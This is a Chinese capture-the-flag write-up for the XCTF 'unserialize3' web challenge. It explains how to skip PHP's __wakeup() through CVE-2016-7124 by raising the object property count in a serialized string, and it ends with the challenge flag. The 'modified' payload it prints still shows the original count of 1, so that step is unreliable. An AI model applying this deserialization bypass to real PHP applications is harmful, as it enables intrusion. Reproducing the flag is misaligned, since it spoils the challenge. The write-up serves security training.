【攻防世界-Web】unserialize3解题思路

目录

  • 题目直接显示网页源码
  • 解题思路
  • 构造payload
  • 得到flag

题目直接显示网页源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

解题思路

本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。
而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导致exit。因此我们需要根据漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。编辑PHP脚本输出序列化的字符串:


class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
print(serialize($a));
?> 

在PHP在线测试工具上进行验证:

PHP在线测试工具:https://www.it1352.com/Onlinetools/details/8

【攻防世界-Web】unserialize3解题思路_第1张图片
得到:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造payload

漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的

本题序列化字符串的标准格式:O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…这里我们将属性个数由1改为2进行绕过。

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

【攻防世界-Web】unserialize3解题思路_第2张图片

得到flag

【攻防世界-Web】unserialize3解题思路_第3张图片
cyberpeace{1741954fde5f0c1b3e7e67c043b5d704}

你可能感兴趣的:(安全,php,web安全)